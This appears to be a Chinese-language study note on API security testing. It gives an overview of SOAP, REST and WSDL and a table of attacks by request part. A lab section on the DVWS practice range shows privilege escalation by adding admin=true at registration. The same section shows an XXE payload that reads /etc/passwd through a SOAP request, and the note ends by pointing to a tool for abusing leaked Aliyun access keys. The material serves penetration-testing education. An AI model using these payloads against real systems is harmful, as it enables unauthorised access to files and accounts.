总览 知识点: 1.HTTP类接口-测评 2.RPC类接口-测评 3.Web Service类-测评
内容点: SOAP(Simple Object Access Protocol)简单对象访问协议是交换数据的一种协议规范,是一种轻量的、简单的、基于XML(标准通用标记语言下的一个子集)的协议,它被设计成在WEB上交换结构化的和固化的信息。SOAP不是Web Service的专有协议。 SOAP使用HTTP来发送XML格式的数据,可以简单理解为:SOAP = HTTP +XML
REST(Representational State Transfer)即表述性状态传递,在三种主流的Web服务实现方案中,因为REST模式的Web服务与复杂的SOAP和XML-RPC对比来讲明显的更加简洁,越来越多的Web服务开始采用REST风格设计和实现。例如,Amazon.com提供接近REST风格的Web服务进行图书查找;雅虎提供的Web服务也是REST风格的。
WSDL(Web Services Description Language)即网络服务描述语言,用于描述Web服务的公共接口。这是一个基于XML的关于如何与Web服务通讯和使用的服务描述;也就是描述与目录中列出的Web服务进行交互时需要绑定的协议和信息格式。通常采用抽象语言描述该服务支持的操作和信息,使用的时候再将实际的网络协议和信息格式绑定给该服务。
接口数据包: Method:请求方法 攻击方式:OPTIONS,PUT,MOVE,DELETE 效果:上传恶意文件,修改页面等 URL:唯一资源定位符 攻击方式:猜测,遍历,跳转 效果:未授权访问等 Params:请求参数 攻击方式:构造参数,修改参数,遍历,重发 效果:爆破,越权,未授权访问,突破业务逻辑等 Authorization:认证方式 攻击方式:身份伪造,身份篡改 效果:越权,未授权访问等 Headers:请求消息头 攻击方式:拦截数据包,改Hosts,改Referer,改Content-Type等 效果:绕过身份认证,绕过Referer验证,绕过类型验证,DDOS等 Body:消息体 攻击方式:SQL注入,XML注入,反序列化等 效果:提权,突破业务逻辑,未授权访问等
安全问题: XSS跨站,信息泄露,暴力破解,文件上传,未授权访问,JWT授权认证,接口滥用等
实例
安全问题-Dvws泄漏&鉴权&XXE 试验靶场:DVWS
鉴权 越权: 观察注册后,返回数据包 修改注册时,数据包admin=true
username=anyone2&password=anyone2&admin=true 返回: {"status" :201 ,"user" :"anyone2" ,"password" :"$2b $10 $g /fRk/isFPbhalAJp4a6b.2OmE7Yana6UrWuZsyfwsFshTKgFpLW." } username=anyone2&password=anyone2 返回: { "token" :"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW55b25lMiIsInBlcm1pc3Npb25zIjpbInVzZXI6cmVhZCIsInVzZXI6d3JpdGUiLCJ1c2VyOmFkbWluIl0sImlhdCI6MTY5MzYyMTM0OSwiZXhwIjoxNjkzNzk0MTQ5LCJpc3MiOiJodHRwczovL2dpdGh1Yi5jb20vc25vb3B5c2VjdXJpdHkifQ.NGce5jkbSgr6yYgHy-46Zg4wnety2DlEIfqxacvzfeA" , "status" :200 , "result" :{ "admin" :true , "_id" :"64f29c53f8b982324cca9bac" , "username" :"anyone2" , "password" :"$2b $10 $g /fRk/isFPbhalAJp4a6b.2OmE7Yana6UrWuZsyfwsFshTKgFpLW." ,"__v" :0 } } 这样子就实现了管理员注册了
XXE POST /dvwsuserservice HTTP/1.1 Host: syw.ink User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYW55b25lMiIsInBlcm1pc3Npb25zIjpbInVzZXI6cmVhZCIsInVzZXI6d3JpdGUiLCJ1c2VyOmFkbWluIl0sImlhdCI6MTY5MzYyMTQwOCwiZXhwIjoxNjkzNzk0MjA4LCJpc3MiOiJodHRwczovL2dpdGh1Yi5jb20vc25vb3B5c2VjdXJpdHkifQ.Uy122C_uvjbWgF8ycL2Kw9wSZ9SuVLSAtLEHQZCqVmU X-Requested-With: XMLHttpRequest Content-Type: application/json;charset=utf-8 Referer: http://syw.ink/admin.html Content-Length: 549 DNT: 1 Connection: close <soapenv:Envelope xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd ="http://www.w3.org/2001/XMLSchema" xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn ="urn:examples:usernameservice" > <soapenv:Header /> <soapenv:Body > <urn:Username soapenv:encodingStyle ="http://schemas.xmlsoap.org/soap/encoding/" > <username xsi:type ="xsd:string" > xiaodi</username > </urn:Username > </soapenv:Body > </soapenv:Envelope > <?xml version="1.0" ?> <!DOCTYPE Mikasa [<!ENTITY test SYSTEM "file:///etc/passwd" > ]> <soapenv:Envelope xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd ="http://www.w3.org/2001/XMLSchema" xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn ="urn:examples:usernameservice" > <soapenv:Header /> <soapenv:Body > <urn:Username soapenv:encodingStyle ="http://schemas.xmlsoap.org/soap/encoding/" > <username xsi:type ="xsd:string" > xiaodi</username > </urn:Username > </soapenv:Body > </soapenv:Envelope >
遍历数据 接口数据 鉴权安全 越权判定
工具使用-Postman自动化测试 postman官方下载: https://www.postman.com/downloads/
测试流程如下图,xml是上面那些 <?xml version="1.0" ?> <!DOCTYPE Mikasa [<!ENTITY test SYSTEM "file:///etc/passwd" > ]> <soapenv:Envelope xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd ="http://www.w3.org/2001/XMLSchema" xmlns:soapenv ="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn ="urn:examples:usernameservice" > <soapenv:Header /> <soapenv:Body > <urn:Username soapenv:encodingStyle ="http://schemas.xmlsoap.org/soap/encoding/" > <username xsi:type ="xsd:string" > xiaodi</username > </urn:Username > </soapenv:Body > </soapenv:Envelope >
postman可以实现集成化全流程测试,在environment中设置文件头的特殊变量(此处设置的变量为全局变量),例如密钥token,再在Collections上面测试时调用设置的全局变量,实现自动化测试。 Collections甚至可以实现上传文件。 postman是一个测试数据包的工具,具体什么漏洞还得你自己一个个数据包进行测试。
安全问题-阿里KEY信息泄漏利用 无法分析:没有资源https://yun.cloudbility.com/ https://github.com/mrknow001/aliyun-accesskey-Tools 接口配置文件泄漏导致云资源主机受控
应用方向-违法APP打包接口分析 完整的分析流程 无法分析:没有资源